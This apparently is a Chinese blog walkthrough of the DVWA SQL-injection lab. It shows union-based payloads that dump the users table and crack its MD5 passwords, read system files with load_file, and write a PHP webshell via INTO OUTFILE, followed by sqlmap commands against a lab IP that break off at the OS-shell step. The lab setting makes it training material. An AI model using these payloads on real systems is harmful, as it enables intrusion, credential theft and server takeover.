目录
LOW
通关步骤
一、手工注入
1、找闭合
输入1' 报错


输入1'',不报错,说明闭合是单引号

2、确定列数
输入1' order by 2#,返回正确结果

输入1' order by 3#,报错,说明只有两列

3、爆库
输入1' union select 1,database()#
得到库名dvwa

4、爆表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
或者1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# (0x64767761是dvwa的ascii码)
得到表guestbook和users,猜测用户名和密码在users中

插一句题外话,这一步的时候一开始遇到了下图这样的报错。询问网络,网络给了我这个链接,sql注入时union出错(Illegal mix of collations for operation UNION),按照这个修改了dvwa数据库users表的字段字符规则就好了。
正常视图Ctrl+D可以进入修改字段字符规则的视图。

5、爆列
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

我用navicat看了一下,dvwa的users表没有这么多列,我怀疑可能是别的数据库里面也有叫users的表,把那些表的列也打出来了。所以这边还得加个数据库名的限制
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
或者1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=0x64767761#
用户名和密码的列名应该分别是user和password

6、得到数据库内容:
输入1' union select group_concat(user),group_concat(password) from users#
得到5个用户:admin,gordonb,1337,pablo,smithy
5个md5密码:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
拿到网上md5解密一下,分别是:password,abc123,charley,letmein,password

7、读文件
输入1' union select 1,load_file('C:/Windows/win.ini')#

8、写webshell
输入1' union select 1,'<?php assert($_POST[a]);?>' into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#
或者1' union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile 'C:/phpstudy_pro/WWW/DVWA/hackable/uploads/sh.php'#
一开始报错
![]()
询问了互联网之后找到了解决方法,如下图这样在mysql配置文件中增加一行secure_file_priv=
这就表示不限制mysql写入文件的目录了

再输入上述payload,虽然有报错,但是服务器上一看,webshell已经写好了。
如果想要确认webshell确实写入了,可以再次输入payload,报错消失或者报错消息提示文件已存在,说明webshell写入成功。

服务器上写入的webshell

二、sqlmap注入
1、找注入点
命令行输入以下命令,得到注入点和payload
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4"

注意一定要用双引号,url不用引号或者用单引号的时候,会报如下错误。如果cookie不用双引号会跳转到登录页面:不用引号会识别不到cookie的设置,用单引号的时候会问要不要合并网站新提供的cookie和sqlmap设置的cookie。

2、爆库
命令行输入以下命令,得到所有可访问的数据库
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" -dbs

命令行输入以下命令,得到当前数据库
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --current-db
![]()
3、爆表
命令行输入以下命令,得到数据库dvwa的所有表
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --tables -D dvwa

当然,如果不用-D指定数据库,得到的将是所有可访问的数据库的所有表
4、爆列
命令行输入以下命令,得到数据库dvwa表users的所有列
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --columns -D dvwa -T users

5、得到用户名和密码
命令行输入以下命令,得到user和password字段的值
python sqlmap.py -u "http://192.168.116.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=6r4n8jpd2m6mm5nesv83m924n4" --dump -D dvwa -T users -C "user,password"
哇哦,直接识别出密码是md5,并且解密了呢

6、写马
方法一、--os-shell
(1)命令行输入以下命令,进入sql-shell
python sqlmap.p


1万+

被折叠的 条评论
为什么被折叠?



